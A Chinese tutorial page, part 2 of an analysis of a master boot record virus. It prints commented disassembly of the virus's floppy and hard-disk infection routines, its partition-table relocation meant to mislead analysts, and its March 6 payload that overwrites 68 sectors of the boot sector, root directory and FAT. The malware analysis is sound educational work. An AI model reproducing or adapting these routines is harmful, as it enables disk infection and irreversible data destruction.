硬盘主引导区病毒,一个主引导区病毒的分析(2)

一个主引导区病毒的分析(2) - 电脑安全 - 电脑教程网

一个主引导区病毒的分析(2)

日期:2006-04-27   荐:
  一个主引导区病毒的分析 步骤5:传染过程分析 方法:U 对软盘传染过程:

PUSH AX ;工 PUSH BX ;作 PUSH CX ;寄 PUSH DX ;存 PUSH DS ;器 PUSH ES ;入 PUSH SI ;栈 PUSH DI ;保存 PUSH CS ;以压/弹栈方式 POP DS ;使数据段DS和 PUSH CS ;附加段ES均指向 POP ES ;代码段CS MOV SI,0004 ;试4次 MOV AX,0201 ;设置各 MOV BX,0200 ;积存器 MOV CX,0001 ;为读软盘 XOR DX,DX ;引导扇区做准备 PUSHF ;压栈标志积存器 CALL FAR [000A] ;正常的INT 13调用 JNB 0063 ;成功则转判断 XOR AX,AX ;不成功复位 PUSHF ;磁盘继续读 CALL FAR [000A] ;如果4次 DEC SI ;均匀不成功  JNZ 0045 ;则退出跳转 JMP 00A6 ;退出传染 XOR SI,SI ;SI=0以便用 CLD ;LODSW读入软盘 LODSW ;第1或第2字进行比较 CMP AX,[BX] ;比较如果不包含病毒标志 JNZ 0071 ;则跳转写传染 LODSW ;如果已有标志 CMP AX,[BX 02] ;则退出 JZ 00A6 ;传染子程序 MOV AX,0301 ;为写盘准备 MOV DH,01 ;如果是360K MOV CL,03 ;则写到1面0道3扇区 CMP BYTE PTR [BX 15],FD ;比较软盘 JZ 0080 ;如果大于360K MOV CL,0E ;写到1面0道14扇区 MOV [0008],CX ;写病毒标志到软盘 PUSHF ;调用原INT 13 CALL FAR [000A] ;进行传染 JB 00A6 MOV SI,03BE ;以下是将正常 MOV DI,01BE ;引导扇区从 MOV CX,0021 ;1BE起的21字节内容 CLD ;搬移到病毒程序尾部 REPZ ;开始复制 MOVSW MOV AX,0301 ;写盘功能调用,写一个扇区 XOR BX,BX ;将病毒程序 MOV CX,0001 ;写入软盘引导扇区内 XOR DX,DX ;设置为软盘 PUSHF CALL FAR [000A] ;执行正常INT 13调用写盘 POP DI ;将 POP SI ;工 POP ES ;作 POP DS ;寄 POP DX ;存 POP CX ;器 POP BX ;退 POP AX ;栈 RET ;返回调用处

对硬盘传染过程:

MOV CX,0007 ;第7扇区 MOV [0008],CX ;此处为硬盘引导标记 MOV AX,301 ;写功能调用 MOV DX,0080 ;设置为硬盘 INT 13 ;将正常引导扇区写到0面0道7扇区内 JB 13E ;失败则转 MOV SI,03BE ;原分区表地址 MOV DI,01BE ;目标地址 MOV CX,0021 ;整个分区表 REPNZ MOVSW ;开始复制

;此段代码是将硬盘分区信息,搬移到病毒程序尾部 ;这样在分析着查看硬盘分区信息时仍能看到该部分 ;内容,以次来麻痹分析者

MOV AX,0301 ;准备写病毒提进硬盘 XOR BX,BX ;病毒体位置 INC CL ;第一扇区 INT 13 ;开始写盘传染 JMP 013E ;转到13E处判断是否为3月6日,是则发作

步骤6:破坏过程分析 方法:U

主要分析对硬盘数据破坏:

. . . . . MOV DL,80 MOV BYTE PTR[0007],04

;准备写硬盘 MOV AL,11 ;写17个扇区 MOV BX,5000 MOV ES,BX ;从内存ES:5000中处开始写 INT 13 ;残不人睹 JNB 0179 ;成功转179继续写 XOR AH,AH INT 13 ;不成功复位磁盘继续 INC DH ;使写操作磁头加1继续? CMP DH,[0007] ;比较是否小于0007单元值 JB 0150 ;是则返回开始处继续写 XOR DH,DH ;DH=0 INC CH ;再加扇区 JMP 0150 ;反回继续写

;以上操作实际上是对硬盘执行4次写操作,每次17个扇区 ;共68个扇区,这样就完全破坏了盘中的引导扇区,根目录 ;和文件分配表。

标签: